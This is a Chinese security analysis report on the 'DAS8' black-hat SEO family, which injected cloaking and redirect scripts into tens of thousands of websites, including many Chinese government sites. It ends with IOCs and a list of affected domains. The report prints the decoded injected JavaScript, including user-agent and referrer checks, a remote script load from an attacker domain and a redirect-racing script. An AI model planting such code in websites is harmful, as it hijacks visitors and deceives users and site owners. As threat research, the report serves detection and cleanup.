黑帽SEO家族--DAS8







DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。





摘要


在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。


值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。


我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。



缘起


在我们跟踪一些政府网站时发现了一系列奇怪的现象：


1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；

2.两个域名本身并不具备非常高的流行度，也没有ICP备案；

3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；

4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.*das8*[.]com的域名；

5.两个域名的URL结构存在异常形式，全部为hxxp://*/.{2,6}.js的形式；

6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。


这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？



案例分析


任意选择一个产生上述异常的网站，观察其页面源代码。





发现混淆了部分代码，解码后得到


title: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】
keywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台
description: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网

script1:
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="xxx人民法院"}

script2:
window['document']['write']('<script type="text/javascript" src="https://www.cpdas8.com/cxc.js"></script>')



功能大致为：

1.将网页的关键元素title/keywords/description改为"北京赛车"相关的信息；

2.判断浏览器的user-agent是否包含"baidu"字符串，如果不包含则将网页title修改为"xxx人民法院"；

3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本


(function () {
    /*百度推送代码*/
     var bp = document.createElement('script');
     bp.src = '//push.zhanzhang.baidu.com/push.js';
     var s = document.getElementsByTagName("script")[0];
     s.parentNode.insertBefore(bp, s);
     /*360推送代码*/
     var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
     document.write('<script src="' + src + '" id="sozz"><\/script>');
     })();

document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");



hxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：

1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；

2.判断页面referrer中是否包含"baidu","so","sogou","uc"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。





以上手法是SEO中常见的蜘蛛欺骗技术：

1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中"北京赛车"相关的词汇；

2.正常用户使用浏览器直接访问相关域名时则将title改为原来的"xxx人民法院"，全当无事发生过；

3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为"北京赛车"相关；

4.用户在搜索引擎中搜索"北京赛车"相关的词汇时，便会搜索到这些被攻陷的网站；

5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。


分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。



深入分析


分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：

1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。

2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。


<script language="javascript">
times=1
setInterval("times++",100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]="https://CXC240.COM/?id=10226"
autourl[2]="https://CXC241.COM/?id=10226"
autourl[3]="https://CXC242.COM/?id=10226"
autourl[4]="https://CXC243.COM/?id=10226"
autourl[5]="https://CXC244.COM/?id=10226"
autourl[6]="https://CXC245.COM/?id=10226"
autourl[7]="https://CXC240.COM/?id=10226"
// 判断第一个反应的网站并进行跳转
function auto(url){
        window.location.replace(url);
        b++
}
// 进行故意错误请求并得到反应速度
function run(){
        for(var i=1;i<autourl.length;i++)
        document.write("<img src=http://"+autourl[i].split("//")[1].split("/")[0]+"/"+Math.random()+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}
run()
</script>



3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。


截至本文发布时:

1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。

2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。








如果读者是附件列表中网站的管理人员，可以利用下列手段自查：

以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；





一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。






IOCs


domain:
www[.]bcdas8[.]com
www[.]cpdas8[.]com
www[.]dasv8[.]com

whois email:
dasheng123123@gmail[.]com




部分受影响网站


last_seen_timestamp	            FQDN

2019-05-31T07:31:36.000Z	www.hnhxhbj.gov.cn
2019-05-31T07:31:04.000Z	wlj.shishou.gov.cn
2019-05-31T07:26:35.000Z	ttbwg.gszhuanglang.gov.cn
2019-05-31T07:24:59.000Z	stbc.swj.wuhan.gov.cn
2019-05-30T07:37:51.000Z	www.ccad.gov.cn
2019-05-29T07:44:07.000Z	www.gyaj.gov.cn
2019-05-29T07:40:25.000Z	www.jyqfy.gov.cn
2019-05-29T07:29:00.000Z	www.qgqrd.gov.cn
2019-05-29T07:26:55.000Z	www.swfp.gov.cn
2019-05-28T07:46:57.000Z	www.antufy.gov.cn
2019-05-27T07:34:56.000Z	www.jxmj.gov.cn
2019-05-11T16:43:50.000Z	www.bzgqt.gov.cn
2019-05-09T07:32:04.000Z	old.xxrd.gov.cn
2019-05-08T12:25:28.000Z	www.xxrd.gov.cn
2019-05-07T02:34:48.000Z	jkqgwh.cnbz.gov.cn
2019-05-06T13:07:43.000Z	xxgk.baiyangdian.gov.cn
2019-05-04T16:11:34.000Z	www.nxwh.gov.cn
2019-05-04T16:07:58.000Z	whhlyt.nx.gov.cn
2019-05-04T16:07:07.000Z	www.dalisn.gov.cn
2019-05-02T05:24:04.000Z	www.scdj.gov.cn
2019-04-28T10:29:30.000Z	www.idrc.gov.cn
2019-04-27T12:36:11.000Z	www.xywgxj.gov.cn
2019-04-25T13:16:56.000Z	www.xytjj.gov.cn
2019-04-23T07:11:52.000Z	mail.zhengzhou.gov.cn
2019-04-20T07:27:22.000Z	www.lnwdxf.gov.cn
2019-04-19T07:27:37.000Z	wm.ahtxq.gov.cn
2019-04-17T07:19:12.000Z	www.cdnmj.gov.cn
2019-04-16T16:28:40.000Z	www.hgwh.gov.cn
2019-04-16T08:40:16.000Z	dx.ww.gov.cn
2019-04-15T19:30:49.000Z	www.pljcy.gov.cn
2019-04-15T19:23:20.000Z	www.fcgls.gov.cn
2019-04-15T19:21:23.000Z	www.sjzsglj.gov.cn
2019-04-14T19:26:30.000Z	www.jxqsq.gov.cn
2019-04-14T19:23:00.000Z	www.gyfy.gov.cn
2019-04-14T19:02:38.000Z	ynb.nea.gov.cn
2019-04-13T19:14:58.000Z	www.nsjw.gov.cn
2019-04-13T19:02:39.000Z	ghj.pingliang.gov.cn
2019-04-12T19:22:59.000Z	m.zcjjkfq.gov.cn
2019-04-12T19:21:12.000Z	jsjy.nm.jcy.gov.cn
2019-04-11T19:13:38.000Z	www.asmm.gov.cn
2019-04-11T19:07:40.000Z	www.jjtown.gov.cn
2019-04-11T16:46:17.000Z	daj.guilin.gov.cn
2019-04-10T19:28:10.000Z	www.wwzx.gov.cn
2019-04-10T19:15:58.000Z	www.ahqyzx.gov.cn
2019-04-10T19:13:55.000Z	hbafricacenter.llb.chutianyun.gov.cn
2019-04-09T19:28:32.000Z	www.fxrdw.gov.cn
2019-04-09T19:10:25.000Z	jcy.kaiping.gov.cn
2019-04-09T00:24:31.000Z	www.hcjjkfq.gov.cn
2019-04-08T19:27:51.000Z	www.yangchenghu.gov.cn
2019-04-08T19:18:49.000Z	exam.qgqrd.gov.cn
2019-04-08T19:16:54.000Z	zazhi.xysww.gov.cn
2019-04-08T19:15:39.000Z	nyncj.chengde.gov.cn
2019-04-08T19:06:19.000Z	www.xyskx.gov.cn
2019-04-08T02:46:25.000Z	www.lsbb.gov.cn
2019-04-08T01:46:48.000Z	www.xyhcq.gov.cn
2019-04-07T19:11:15.000Z	www.wwrd.gov.cn
2019-04-07T04:50:01.000Z	www.wlqrd.gov.cn
2019-04-06T05:45:12.000Z	www.shfy.gov.cn
2019-04-05T19:36:15.000Z	www.lxdj.gov.cn
2019-04-04T19:21:27.000Z	api.shfy.gov.cn
2019-04-04T19:17:09.000Z	www.gxdb.gov.cn
2019-04-04T03:33:17.000Z	www.ggxfy.gov.cn
2019-04-03T19:27:21.000Z	www.jnzxw.gov.cn
2019-04-03T19:19:28.000Z	www.lslz.gov.cn
2019-04-02T19:57:45.000Z	api.gyfy.gov.cn
2019-04-02T19:56:08.000Z	www.zjksw.gov.cn
2019-04-02T08:26:10.000Z	www.ffwmw.gov.cn
2019-04-02T06:12:27.000Z	www.weishanhu.gov.cn
2019-04-01T20:05:38.000Z	www.jsmg.gov.cn
2019-03-31T19:44:15.000Z	www.shandongipc.gov.cn
2019-03-31T11:07:05.000Z	www.nxdj.gov.cn
2019-03-30T19:11:45.000Z	dxga.zgdx.gov.cn
2019-03-30T19:10:42.000Z	www.ngdzjksw.gov.cn
2019-03-29T19:18:08.000Z	shuju.zglz.gov.cn
2019-03-27T20:05:58.000Z	www.hmsf.gov.cn
2019-03-27T00:28:21.000Z	www.wzcgj.gov.cn
2019-03-26T19:41:07.000Z	www.shdjej.gov.cn
2019-03-26T19:17:28.000Z	www.zglz.gov.cn
2019-03-25T20:05:11.000Z	www.xyjk.gov.cn
2019-03-25T19:21:04.000Z	www.0597.gov.cn
2019-03-25T00:36:55.000Z	www.yglh.gov.cn
2019-03-25T00:28:35.000Z	www.xyjc.gdxy.gov.cn
2019-03-24T19:09:12.000Z	gxs.wuhai.gov.cn
2019-03-21T19:19:37.000Z	www.dbxc.gov.cn
2019-03-20T19:16:51.000Z	zbb.changde.gov.cn
2019-03-20T19:06:52.000Z	zw.lfgy.gov.cn
2019-03-19T06:35:50.000Z	www.lfgy.gov.cn
2019-03-11T16:51:23.941Z	www.nk93.gov.cn
2019-03-10T21:30:35.471Z	www.mczx.gov.cn
2019-03-06T08:53:18.452Z	qsh.qingshuihe.gov.cn
2019-03-04T16:40:57.313Z	www.zwpf.gov.cn
2019-02-27T22:42:19.675Z	www.nmgzxbq.gov.cn
2019-02-27T20:46:28.401Z	www.qingshuihe.gov.cn
2019-02-24T07:25:33.358Z	www.ezga.gov.cn
2019-02-24T01:17:28.044Z	www.xydz.gov.cn
2019-02-21T22:30:35.446Z	www.ygyc.gov.cn
2019-02-19T10:27:59.237Z	www.zgydds.gov.cn
2019-02-17T16:42:46.101Z	www.qjwsj.gov.cn
2019-02-16T23:51:59.194Z	www.ecpi.suzhou.gov.cn
2019-02-12T01:12:43.821Z	www.xtsghj.gov.cn
2019-02-11T23:52:36.268Z	www.wyxrd.gov.cn
2019-02-09T21:28:19.303Z	www.xihua.gov.cn
2019-02-05T00:34:28.682Z	www.jciz.gov.cn
2019-02-02T23:48:39.182Z	www.suqiancity.gov.cn